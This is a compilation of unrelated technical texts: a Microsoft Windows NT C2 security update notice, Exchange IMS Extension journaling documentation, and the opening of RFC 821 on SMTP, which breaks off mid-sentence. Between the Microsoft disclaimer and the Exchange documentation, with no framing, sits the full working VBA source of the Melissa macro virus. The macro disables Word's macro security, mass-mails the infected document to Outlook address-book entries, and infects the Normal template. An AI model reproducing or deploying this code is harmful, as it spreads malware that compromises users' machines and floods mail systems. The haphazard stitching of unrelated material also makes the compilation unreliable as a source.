C2 Update corrects the following problems in Windows NT 4.0:

 - NetBT disallows unprivileged user mode applications from sharing TCP and UDP
   ports that are opened by NetBT. For additional information, click the article
   number below to view the article in the Microsoft Knowledge Base:

   Q241041 Enabling NetBT to Open TCP and UDP Ports Exclusively

 - Device drivers create their corresponding DeviceObject with
   FILE_DEVICE_SECURE_OPEN DeviceCharacteristics. For additional information,
   click the article number below to view the article in the Microsoft Knowledge
   Base:

   Q243405 Device Drivers Create Their Corresponding DeviceObject with
   FILE_DEVICE_SECURE_OPEN DeviceCharacteristics

 - Jet500 creates events and semaphores objects with non-NULL ACLs. For
   additional information, click the article number below to view the article in
   the Microsoft Knowledge Base:

   Q243404 ACLs Associated with Events and Semaphores Created by JET500.DLL

The following files are available for download from the Microsoft Download Center
or Microsoft's FTP site. Click the file names below to download the appropriate
file:

   x86:

   Microsoft Download Center: Q244599i.exe
   (http://download.microsoft.com/download/winntsp/Patch/SP6a_C2/NT4/EN-US/Q244599i.exe)

   FTP: Q244599i.exe
   (ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postsp6a/c2-fix/Q244599i.exe)

   Alpha:

   Microsoft Download Center: Q244599a.exe
   (http://download.microsoft.com/download/winntsp/Patch/SP6a_C2/ALPHA/EN-US/Q244599a.exe)

   FTP: Q244599a.exe
   (ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/hotfixes-postsp6a/c2-fix/Q244599a.exe)

For more information about how to download files from the Microsoft Download
Center, please visit the Download Center at the following Web address

   http://www.microsoft.com/downloads/search.asp

and then click "How to use the Microsoft Download Center".

NOTE: C2 Update also includes the binary files required in the Spooler-fix described in
the following article in the Microsoft Knowledge Base:

   Q243649 Unchecked Print Spooler Buffer May Expose System Vulnerability

Additional query words: c2 security_patch
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


Private Sub Document_Open()
On Error Resume Next
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
  CommandBars("Macro").Controls("Security...").Enabled = False
  System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
  CommandBars("Tools").Controls("Macro").Enabled = False
  Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If

Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
  If UngaDasOutlook = "Outlook" Then
    DasMapiName.Logon "profile", "password"
    For y = 1 To DasMapiName.AddressLists.Count
        Set AddyBook = DasMapiName.AddressLists(y)
        x = 1
        Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
        For oo = 1 To AddyBook.AddressEntries.Count
            Peep = AddyBook.AddressEntries(x)
            BreakUmOffASlice.Recipients.Add Peep
            x = x + 1
            If x > 50 Then oo = AddyBook.AddressEntries.Count
         Next oo
         BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
         BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
         BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
         BreakUmOffASlice.Send
         Peep = ""
    Next y
    DasMapiName.Logoff
  End If
  System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If

Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
  If ADCL > 0 Then ADI1.CodeModule.DeleteLines 1, ADCL
  Set ToInfect = ADI1
  ADI1.Name = "Melissa"
  DoAD = True
End If

If NTI1.Name <> "Melissa" Then
  If NTCL > 0 Then NTI1.CodeModule.DeleteLines 1, NTCL
  Set ToInfect = NTI1
  NTI1.Name = "Melissa"
  DoNT = True
End If

If DoNT <> True And DoAD <> True Then GoTo CYA

If DoNT = True Then
  Do While ADI1.CodeModule.Lines(1, 1) = ""
    ADI1.CodeModule.DeleteLines 1
  Loop
  ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
  Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
    ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
  Loop
End If

If DoAD = True Then
  Do While NTI1.CodeModule.Lines(1, 1) = ""
    NTI1.CodeModule.DeleteLines 1
  Loop
  ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
  Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
    ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
    BGN = BGN + 1
  Loop
End If

CYA:

If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
  ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
  ActiveDocument.Saved = True
End If

'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!

If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters.  Game's over.  I'm outta here."
End Sub


IMS Extension

You can use the IMS Extension (Imsext.dll) to pre-process and post-process e-mail messages that travel through the Internet Mail Service. It also allows you to do the following:

  • Add text to the message body and/or send a copy of the message to another recipient.
  • Add prepended and/or appended text to the body of messages. Many companies might use this feature to add disclaimer text to Internet mail.
  • Add a recipient to each message and/or add recipient(s) based on message recipients (Per-Recipient Journaling).

See Also

Installing IMS Extension

Using IMS Extension

Troubleshooting IMS Extension

IMS Extension Examples


IMS Extension Examples

Below is a list of each feature along with an example of the registry setting for that feature. The string values are shown in italics. See Using IMS Extension for instructions on creating these registry values.

Inbound Journaling

InboundJournal=/O=ACME/OU=EASTCOAST/CN=RECIPIENTS/CN=globalarchdl

InboundJournalNDR=/O=ACME/OU=EASTCOAST/CN=RECIPIENTS/CN=injournalndr

Outbound Journaling

OutboundJournal=/O=ACME/OU=EASTCOAST/CN=RECIPIENTS/CN=globalarchdl

OutboundJournalNDR=/O=ACME/OU=EASTCOAST/CN=RECIPIENTS/CN=outjournalndr

Per-recipient Journaling

InboundRecipJournalProp=(DWORD) 0x80360000 (Custom Attribute 10)

OutboundRecipJournalProp=(DWORD) 0x80360000 (Custom Attribute 10)

Custom Attribute 10 (of some recipient) =/O=ACME/OU=EASTCOAST/CN=RECIPIENTS/CN=branch1archdl

InboundJournalNDR=/O=ACME/OU=EASTCOAST/CN=RECIPIENTS/CN=injournalndr

OutboundJournalNDR=/O=ACME/OU=EASTCOAST/CN=RECIPIENTS/CN=outjournalndr

Prepending Text to Inbound E-Mail

InboundPrepend=\par\par\b This is the inbound prepended disclaimer.\par This is the second line.\par\par\b0

Appending Text to Inbound E-Mail

InboundAppend=\par\par\b This is the inbound appended disclaimer.\par This is the second line.\par\par\b0

Prepending Text to Outbound E-Mail

OutboundPrepend=\par\par\b This is the outbound prepended disclaimer.\par This is the second line.\par\par\b0

Appending Text to Outbound E-Mail

OutboundAppend=\par\par\b This is the outbound appended disclaimer.\par This is the second line.\par\par\b0


Installing IMS Extension

  1. Copy the IMS Extension (Imsext.dll) to your server. It is recommended that you use the directory where the Internet Mail Service resides: \exchsrvr\connect\msexcimc\bin.
  2. >From the directory where the IMS Extension is installed, register the IMS Extension by typing regsvr32 imsext.dll at the command prompt.
  3. In the Exchange Administrator program, on the Routing tab of the Internet Mail Service Properties property page, specify the IMS Extension as the custom routing program.

    Note When you do this, you will not be able to use the routing table on that tab. Exchange 5.5 SP1 has made a change so that you can specify an IMS Extension without losing the routing table feature. To enable the IMS Extension in Exchange 5.5 SP1 without losing the routing table, create a registry string value named NonRoutingExtensionDll under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSExchangeIMC\Parameters, and set its value to the full path of the IMS Extension DLL.

  4. Create a registry key called "Extension" under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\MSExchangeIMC\Parameters. Specify the features you want by setting the appropriate registry values. See Using IMS Extension for more information on setting the registry values.
  5. Stop and restart the Internet Mail Service.


Troubleshooting IMS Extension

The IMS Extension will log critical errors to the Windows NT Event Log. You should monitor these events and send the appropriate alerts if they occur. Below is a list of the events along with a description of each.

Event ID | Type | Description
1 | Error | Failed to initialize the extension. This occurs if the extension has a problem reading some of the registry keys.
2 | Error | A global journal (InboundJournal or OutboundJournal) address did not resolve successfully. The address that did not resolve is embedded in the description text.
3 | Error | A recipient journal address (per-recipient journaling) did not resolve successfully. The address that did not resolve is embedded in the description text.
4 | Error | Failed to add text to the body of the message. The reason for the error is embedded in the description text as either a descriptive string, if available, or as an error code.
5 | Error | Failed to get the list of per-recipient journal addresses. The reason for the error is embedded in the description text as either a descriptive string, if available, or as an error code.
6 | Error | Failed saving the changes to the message. The reason for the error is embedded in the description text as either a descriptive string, if available, or as an error code.
7 | Error | Failed to send copy of message to journal recipients. The reason for the error is embedded in the description text as either a descriptive string, if available, or as an error code.
8 | Error | Failed to open embedded message. At the Internet Mail Service, the embedded message is the actual message that was sent or received. The reason for the error is embedded in the description text as either a descriptive string, if available, or as an error code.
9 | Error | Failed to set properties on journal message. If this is the case, the copied messages will accumulate in the MTS-IN or MTS-OUT folder of the Internet Mail Service mailbox. The reason for the error is embedded in the description text as either a descriptive string, if available, or as an error code.
11 | Error | No journal NDR address was supplied. If journaling, you need to supply the journal NDR address which is the address for NDR's of journaled mail.
12 | Error | Journal NDR address did not resolve.


Using IMS Extension

The IMS Extension supports the following features:

  • Inbound Journaling
  • Outbound Journaling
  • Per-recipient Journaling
  • Prepending Text to Inbound E-Mail
  • Appending Text to Inbound E-Mail
  • Prepending Text to Outbound E-Mail
  • Appending Text to Outbound E-Mail

You can enable these features by specifying registry settings. All registry values must be created under the "Extension" registry key you created when you installed the IMS Extension (see Installing IMS Extension). Because these features are independent of each other, you should enable only those features that you need.

Note Each time you change one of the registry values, you must stop and restart the IMS. However, if you use Per-Recipient Journaling and you change a recipient's journal property (the recipient’s property, not InboundRecipJournalProp or OutboundRecipJournalProp), the IMS does not have to be stopped and re-started.

Inbound Journaling

To journal inbound SMTP e-mail, create a registry string value named InboundJournal. Set its value to the e-mail address you want the journal e-mail to be delivered to. It is recommended that you use a distribution list for this value. This allows you to add multiple recipients to the journal and makes it easy to modify the recipients. You should also remove the SMTP address so that this mailbox cannot be attacked from the outside, and hide it from the address book so that it’s difficult to attack from the inside. You can then set the address to the X.500 address of the DL. If you enable inbound journaling you must also create a registry string value named InboundJournalNDR. Set its value to the e-mail address you want NDR's, generated by journaled inbound mail, delivered to. As with InboundJournal, you should remove remove its SMTP address and hide it from the address book. If possible, this recipient should reside on the same server the IMS Extension resides on. See IMS Extension Examples for registry value examples.

Note InboundJournal and OutboundJournal can be set to the same value. As a result, all inbound and outbound SMTP e-mail will be journaled to the same location.

Outbound Journaling

To journal outbound SMTP e-mail, create a registry string value named OutboundJournal. Set its value to the e-mail address you want the journal e-mail to be delivered to. It is recommended that you use a distribution list for this value. This allows you to add multiple recipients to the journal and makes it easy to modify the recipients. You should also remove the SMTP address so that this mailbox cannot be attacked from the outside, and hide it from the address book so that it’s difficult to attack from the inside. You can then set the address to the X.500 address of the DL. If you enable outbound journaling you must also create a registry string value named OutboundJournalNDR. Set its value to the e-mail address you want NDR's, generated by journaled outbound mail, delivered to. As with OutboundJournal, you should remove remove its SMTP address and hide it from the address book. If possible, this recipient should reside on the same server the IMS Extension resides on. See IMS Extension Examples for registry value examples.

Note InboundJournal and OutboundJournal can be set to the same value. As a result, all inbound and outbound SMTP e-mail will be journaled to the same location.

Per-recipient Journaling

InboundJournal and OutboundJournal journals all inbound and outbound e-mail respectively. If you want to journal based on recipient, then you can enable Per-Recipient Journaling. This allows you to specify the journal address on a per recipient basis.This feature is useful for sending a copy of a users SMTP e-mail to the user's branch manager. As with Inbound Journaling and Outbound Journaling, Per-recipient Journaling can be set for each direction--inbound and/or outbound.

To enable Per-Recipient Journaling, you must to specify a property on the recipient that contains the journal address. You can use the Custom Attributes property page on the recipient to do this. As with the InboundJournal and OutboundJournal, it is recommended that you set the recipient's custom attribute to a distribution list. In addition, you should secure the mailboxes contained within that distribution list (as well as the distribution list itself) by removing the SMTP address and hiding the objects from the Address Book. Once you decide what recipient property you will use to store the journal address, you must create a registry DWORD value named InboundRecipJournalProp (or OutboundRecipJournalProp for outbound journaling) and set its value to the property you chose.

For example, Custom Attribute 10 is value 0x8036. This must be specified as the high word of InboundRecipJournalProp with a low word of 0. Therefore, the value of InboundRecipJournalProp in this example would be 0x80360000. The values of the Custom Attributes can be found in the file Emsabtag.h in the VC include directory. If you enable Per-Recipient Inbound Journaling (or Per-Recipient Outbound Journaling) you must also create a registry string value named InboundJournalNDR (or OutboundJournalNDR for Per-Recipient Outbound Journaling). Set its value to the e-mail address you want NDR's, generated by journaled inbound mail (or outbound mail for Per-Recipient Outbound Journaling), delivered to. As with InboundRecipJournalProp, you should remove its SMTP address and hide it from the address book. If possible, this recipient should reside on the same server the IMS Extension resides on. See IMS Extension Examples for registry value examples.

Note Per-recipient Journaling can be used in conjunction with Inbound Journaling and/or Outbound Journaling. Also, you can set InboundRecipJournalProp and OutboundRecipJournalProp to the same value. This will result in both inbound and outbound per-recipient mail being journaled to the same location.

Prepending Text to Inbound E-Mail

To add prepended text to the body of an inbound SMTP message, create a registry string value named InboundPrepend. Set its value to the text you want to be prepended to the message. This text must be entered as rich-text format (RTF). See IMS Extension Examples for registry value examples.

Note You can specify both InboundPrepend and InboundAppend.

Appending Text to Inbound E-Mail

To add appended text to the body of an inbound SMTP message, create a registry string value named InboundAppend. Set its value to the text you want to be appended to the message. This text must be entered as rich-text format (RTF). See IMS Extension Examples for registry value examples.

Note You can specify both InboundPrepend and InboundAppend.

Prepending Text to Outbound E-Mail

To add prepended text to the body of an outbound SMTP message, create a registry string value named OutboundPrepend. Set its value to the text you want to be prepended to the message. This text must be entered as rich-text format (RTF). See IMS Extension Examples for registry value examples.

Note You can specify both OutboundPrepend and OutboundAppend.

Appending Text to Outbound E-Mail

To add appended text to the body of an outbound SMTP message, create a registry string value named OutboundAppend. Set its value to the text you want to be appended to the message. This text must be entered as rich-text format (RTF). See IMS Extension Examples for registry value examples.

Note You can specify both OutboundPrepend and OutboundAppend.


   RFC 821

                     SIMPLE MAIL TRANSFER PROTOCOL

                           Jonathan B. Postel

                              August 1982

                     Information Sciences Institute
                   University of Southern California
                           4676 Admiralty Way
                   Marina del Rey, California  90291

                             (213) 822-1511

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

                           TABLE OF CONTENTS

   1.  INTRODUCTION .................................................. 1

   2.  THE SMTP MODEL ................................................ 2

   3.  THE SMTP PROCEDURE ............................................ 4

      3.1.  Mail ..................................................... 4
      3.2.  Forwarding ............................................... 7
      3.3.  Verifying and Expanding .................................. 8
      3.4.  Sending and Mailing ..................................... 11
      3.5.  Opening and Closing ..................................... 13
      3.6.  Relaying ................................................ 14
      3.7.  Domains ................................................. 17
      3.8.  Changing Roles .......................................... 18

   4.  THE SMTP SPECIFICATIONS ...................................... 19

      4.1.  SMTP Commands ........................................... 19
      4.1.1.  Command Semantics ..................................... 19
      4.1.2.  Command Syntax ........................................ 27
      4.2.  SMTP Replies ............................................ 34
      4.2.1.  Reply Codes by Function Group ......................... 35
      4.2.2.  Reply Codes in Numeric Order .......................... 36
      4.3.  Sequencing of Commands and Replies ...................... 37
      4.4.  State Diagrams .......................................... 39
      4.5.  Details ................................................. 41
      4.5.1.  Minimum Implementation ................................ 41
      4.5.2.  Transparency .......................................... 41
      4.5.3.  Sizes ................................................. 42

   APPENDIX A:  TCP ................................................. 44
   APPENDIX B:  NCP ................................................. 45
   APPENDIX C:  NITS ................................................ 46
   APPENDIX D:  X.25 ................................................ 47
   APPENDIX E:  Theory of Reply Codes ............................... 48
   APPENDIX F:  Scenarios ........................................... 51

   GLOSSARY ......................................................... 64

   REFERENCES ....................................................... 67

Network Working Group                                          J. Postel
Request for Comments: DRAFT                                          ISI
Replaces: RFC 788, 780, 772                                  August 1982

                     SIMPLE MAIL TRANSFER PROTOCOL

1.  INTRODUCTION

   The objective of Simple Mail Transfer Protocol (SMTP) is to transfer
   mail reliably and efficiently.

   SMTP is independent of the particular transmission subsystem and
   requires only a reliable ordered data stream channel.  Appendices A,
   B, C, and D describe the use of SMTP with various transport services.
   A Glossary provides the definitions of terms as used in this
   document.

   An important feature of SMTP is its capability to relay mail across
   transport service environments.  A transport service provides an
   interprocess communication environment (IPCE).  An IPCE may cover one
   network, several networks, or a subset of a network.  It is important
   to realize that transport systems (or IPCEs) are not one-to-one with
   networks.  A process can communicate directly with another process
   through any mutually known IPCE.  Mail is an application or use of
   interprocess communication.  Mail can be communicated between
   processes in different IPCEs by relaying through a process connected
   to two (or more) IPCEs.  More specifically, mail can be relayed
   between hosts on different transport systems by a host on both
   transport systems.

Postel                                                          [Page 1]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

2.  THE SMTP MODEL

   The SMTP design is based on the following model of communication:  as
   the result of a user mail request, the sender-SMTP establishes a
   two-way transmission channel to a receiver-SMTP.  The receiver-SMTP
   may be either the ultimate destination or an intermediate.  SMTP
   commands are generated by the sender-SMTP and sent to the
   receiver-SMTP.  SMTP replies are sent from the receiver-SMTP to the
   sender-SMTP in response to the commands.

   Once the transmission channel is established, the SMTP-sender sends a
   MAIL command indicating the sender of the mail.  If the SMTP-receiver
   can accept mail it responds with an OK reply.  The SMTP-sender then
   sends a RCPT command identifying a recipient of the mail.  If the
   SMTP-receiver can accept mail for that recipient it responds with an
   OK reply; if not, it responds with a reply rejecting that recipient
   (but not the whole mail transaction).  The SMTP-sender and
   SMTP-receiver may negotiate several recipients.  When the recipients
   have been negotiated the SMTP-sender sends the mail data, terminating
   with a special sequence.  If the SMTP-receiver successfully processes
   the mail data it responds with an OK reply.  The dialog is purposely
   lock-step, one-at-a-time.

     -------------------------------------------------------------

               +----------+                +----------+
   +------+    |          |                |          |
   | User |<-->|          |      SMTP      |          |
   +------+    |  Sender- |Commands/Replies| Receiver-|
   +------+    |   SMTP   |<-------------->|    SMTP  |    +------+
   | File |<-->|          |    and Mail    |          |<-->| File |
   |System|    |          |                |          |    |System|
   +------+    +----------+                +----------+    +------+

                Sender-SMTP                Receiver-SMTP

                           Model for SMTP Use

                                Figure 1

     -------------------------------------------------------------

   The SMTP provides mechanisms for the transmission of mail; directly
   from the sending user's host to the receiving user's host when the

[Page 2]                                                          Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

   two host are connected to the same transport service, or via one or
   more relay SMTP-servers when the source and destination hosts are not
   connected to the same transport service.

   To be able to provide the relay capability the SMTP-server must be
   supplied with the name of the ultimate destination host as well as
   the destination mailbox name.

   The argument to the MAIL command is a reverse-path, which specifies
   who the mail is from.  The argument to the RCPT command is a
   forward-path, which specifies who the mail is to.  The forward-path
   is a source route, while the reverse-path is a return route (which
   may be used to return a message to the sender when an error occurs
   with a relayed message).

   When the same message is sent to multiple recipients the SMTP
   encourages the transmission of only one copy of the data for all the
   recipients at the same destination host.

   The mail commands and replies have a rigid syntax.  Replies also have
   a numeric code.  In the following, examples appear which use actual
   commands and replies.  The complete lists of commands and replies
   appears in Section 4 on specifications.

   Commands and replies are not case sensitive.  That is, a command or
   reply word may be upper case, lower case, or any mixture of upper and
   lower case.  Note that this is not true of mailbox user names.  For
   some hosts the user name is case sensitive, and SMTP implementations
   must take case to preserve the case of user names as they appear in
   mailbox arguments.  Host names are not case sensitive.

   Commands and replies are composed of characters from the ASCII
   character set [1].  When the transport service provides an 8-bit byte
   (octet) transmission channel, each 7-bit character is transmitted
   right justified in an octet with the high order bit cleared to zero.

   When specifying the general form of a command or reply, an argument
   (or special symbol) will be denoted by a meta-linguistic variable (or
   constant), for example, "<string>" or "<reverse-path>".  Here the
   angle brackets indicate these are meta-linguistic variables.
   However, some arguments use the angle brackets literally.  For
   example, an actual reverse-path is enclosed in angle brackets, i.e.,
   "<John.Smith@USC-ISI.ARPA>" is an instance of <reverse-path> (the
   angle brackets are actually transmitted in the command or reply).

Postel                                                          [Page 3]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

3.  THE SMTP PROCEDURES

   This section presents the procedures used in SMTP in several parts.
   First comes the basic mail procedure defined as a mail transaction.
   Following this are descriptions of forwarding mail, verifying mailbox
   names and expanding mailing lists, sending to terminals instead of or
   in combination with mailboxes, and the opening and closing exchanges.
   At the end of this section are comments on relaying, a note on mail
   domains, and a discussion of changing roles.  Throughout this section
   are examples of partial command and reply sequences, several complete
   scenarios are presented in Appendix F.

   3.1.  MAIL

      There are three steps to SMTP mail transactions.  The transaction
      is started with a MAIL command which gives the sender
      identification.  A series of one or more RCPT commands follows
      giving the receiver information.  Then a DATA command gives the
      mail data.  And finally, the end of mail data indicator confirms
      the transaction.

         The first step in the procedure is the MAIL command.  The
         <reverse-path> contains the source mailbox.

            MAIL <SP> FROM:<reverse-path> <CRLF>

         This command tells the SMTP-receiver that a new mail
         transaction is starting and to reset all its state tables and
         buffers, including any recipients or mail data.  It gives the
         reverse-path which can be used to report errors.  If accepted,
         the receiver-SMTP returns a 250 OK reply.

         The <reverse-path> can contain more than just a mailbox.  The
         <reverse-path> is a reverse source routing list of hosts and
         source mailbox.  The first host in the <reverse-path> should be
         the host sending this command.

         The second step in the procedure is the RCPT command.

            RCPT <SP> TO:<forward-path> <CRLF>

         This command gives a forward-path identifying one recipient.
         If accepted, the receiver-SMTP returns a 250 OK reply, and
         stores the forward-path.  If the recipient is unknown the
         receiver-SMTP returns a 550 Failure reply.  This second step of
         the procedure can be repeated any number of times.

[Page 4]                                                          Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

         The <forward-path> can contain more than just a mailbox.  The
         <forward-path> is a source routing list of hosts and the
         destination mailbox.  The first host in the <forward-path>
         should be the host receiving this command.

         The third step in the procedure is the DATA command.

            DATA <CRLF>

         If accepted, the receiver-SMTP returns a 354 Intermediate reply
         and considers all succeeding lines to be the message text.
         When the end of text is received and stored the SMTP-receiver
         sends a 250 OK reply.

         Since the mail data is sent on the transmission channel the end
         of the mail data must be indicated so that the command and
         reply dialog can be resumed.  SMTP indicates the end of the
         mail data by sending a line containing only a period.  A
         transparency procedure is used to prevent this from interfering
         with the user's text (see Section 4.5.2).

            Please note that the mail data includes the memo header
            items such as Date, Subject, To, Cc, From [2].

         The end of mail data indicator also confirms the mail
         transaction and tells the receiver-SMTP to now process the
         stored recipients and mail data.  If accepted, the
         receiver-SMTP returns a 250 OK reply.  The DATA command should
         fail only if the mail transaction was incomplete (for example,
         no recipients), or if resources are not available.

      The above procedure is an example of a mail transaction.  These
      commands must be used only in the order discussed above.
      Example 1 (below) illustrates the use of these commands in a mail
      transaction.

Postel                                                          [Page 5]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

      -------------------------------------------------------------

                     Example of the SMTP Procedure

         This SMTP example shows mail sent by Smith at host Alpha.ARPA,
         to Jones, Green, and Brown at host Beta.ARPA.  Here we assume
         that host Alpha contacts host Beta directly.

            S: MAIL FROM:<Smith@Alpha.ARPA>
            R: 250 OK

            S: RCPT TO:<Jones@Beta.ARPA>
            R: 250 OK

            S: RCPT TO:<Green@Beta.ARPA>
            R: 550 No such user here

            S: RCPT TO:<Brown@Beta.ARPA>
            R: 250 OK

            S: DATA
            R: 354 Start mail input; end with <CRLF>.<CRLF>
            S: Blah blah blah...
            S: ...etc. etc. etc.
            S: <CRLF>.<CRLF>
            R: 250 OK

         The mail has now been accepted for Jones and Brown.  Green did
         not have a mailbox at host Beta.

                               Example 1

      -------------------------------------------------------------

[Page 6]                                                          Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

   3.2.  FORWARDING

      There are some cases where the destination information in the
      <forward-path> is incorrect, but the receiver-SMTP knows the
      correct destination.  In such cases, one of the following replies
      should be used to allow the sender to contact the correct
      destination.

         251 User not local; will forward to <forward-path>

            This reply indicates that the receiver-SMTP knows the user's
            mailbox is on another host and indicates the correct
            forward-path to use in the future.  Note that either the
            host or user or both may be different.  The receiver takes
            responsibility for delivering the message.

         551 User not local; please try <forward-path>

            This reply indicates that the receiver-SMTP knows the user's
            mailbox is on another host and indicates the correct
            forward-path to use.  Note that either the host or user or
            both may be different.  The receiver refuses to accept mail
            for this user, and the sender must either redirect the mail
            according to the information provided or return an error
            response to the originating user.

      Example 2 illustrates the use of these responses.

      -------------------------------------------------------------

                         Example of Forwarding

      Either

      S: RCPT TO:<Postel@USC-ISI.ARPA>
      R: 251 User not local; will forward to <Postel@USC-ISIF.ARPA>

      Or

      S: RCPT TO:<Paul@USC-ISIB.ARPA>
      R: 551 User not local; please try <Mockapetris@USC-ISIF.ARPA>

                               Example 2

      -------------------------------------------------------------

Postel                                                          [Page 7]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

   3.3.  VERIFYING AND EXPANDING

      SMTP provides as additional features, commands to verify a user
      name or expand a mailing list.  This is done with the VRFY and
      EXPN commands, which have character string arguments.  For the
      VRFY command, the string is a user name, and the response may
      include the full name of the user and must include the mailbox of
      the user.  For the EXPN command, the string identifies a mailing
      list, and the multiline response may include the full name of the
      users and must give the mailboxes on the mailing list.

      "User name" is a fuzzy term and used purposely.  If a host
      implements the VRFY or EXPN commands then at least local mailboxes
      must be recognized as "user names".  If a host chooses to
      recognize other strings as "user names" that is allowed.

      In some hosts the distinction between a mailing list and an alias
      for a single mailbox is a bit fuzzy, since a common data structure
      may hold both types of entries, and it is possible to have mailing
      lists of one mailbox.  If a request is made to verify a mailing
      list a positive response can be given if on receipt of a message
      so addressed it will be delivered to everyone on the list,
      otherwise an error should be reported (e.g., "550 That is a
      mailing list, not a user").  If a request is made to expand a user
      name a positive response can be formed by returning a list
      containing one name, or an error can be reported (e.g., "550 That
      is a user name, not a mailing list").

      In the case of a multiline reply (normal for EXPN) exactly one
      mailbox is to be specified on each line of the reply.  In the case
      of an ambiguous request, for example, "VRFY Smith", where there
      are two Smith's the response must be "553 User ambiguous".

      The case of verifying a user name is straightforward as shown in
      example 3.

[Page 8]                                                          Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

      -------------------------------------------------------------

                    Example of Verifying a User Name

         Either

            S: VRFY Smith
            R: 250 Fred Smith <Smith@USC-ISIF.ARPA>

         Or

            S: VRFY Smith
            R: 251 User not local; will forward to <Smith@USC-ISIQ.ARPA>

         Or

            S: VRFY Jones
            R: 550 String does not match anything.

         Or

            S: VRFY Jones
            R: 551 User not local; please try <Jones@USC-ISIQ.ARPA>

         Or

            S: VRFY Gourzenkyinplatz
            R: 553 User ambiguous.

                               Example 3

      -------------------------------------------------------------

Postel                                                          [Page 9]

August 1982                                                      RFC 821
Simple Mail Transfer Protocol

      The case of expanding a mailbox list requires a multiline reply as
      shown in example 4.

      -------------------------------------------------------------

                  Example of Expanding a Mailing List

         Either

            S: EXPN Example-People
            R: 250-Jon Postel <Postel@USC-ISIF.ARPA>
            R: 250-Fred Fonebone <Fonebone@USC-ISIQ.ARPA>
            R: 250-Sam Q. Smith <SQSmith@USC-ISIQ.ARPA>
            R: 250-Quincy Smith <@USC-ISIF.ARPA:Q-Smith@ISI-VAXA.ARPA>
            R: 250-<joe@foo-unix.ARPA>
            R: 250 <xyz@bar-unix.ARPA>

         Or

            S: EXPN Executive-Washroom-List
            R: 550 Access Denied to You.

                               Example 4

      -------------------------------------------------------------

      The character string arguments of the VRFY and EXPN commands
      cannot be further restricted due to the variety of implementations
      of the user name and mailbox list concepts.  On some systems it
      may be appropriate for the argument of the EXPN command to be a
      file name for a file containing a mailing list, but again there is
      a variety of file naming conventions in the Internet.

      The VRFY and EXPN commands are not included in the minimum
      implementation (Section 4.5.1), and are not required to work
      across relays when they are implemented.

[Page 10]                                                         Postel

RFC 821                                                      August 1982
                                           Simple Mail Transfer Protocol

   3.4.  SENDING AND MAILING

      The main purpose of SMTP is to deliver messages to user's
      mailboxes.  A very similar service provided by some hosts is to
      deliver messages to user's terminals (provided the user is active
      on the host).  The delivery to the user's mailbox is called
      "mailing", the delivery to the user's terminal is called
      "sending".  Because in many hosts the implementation of sending is
      nearly identical to the implementation of mailing these two
      functions are combined in SMTP.  However the sending commands are
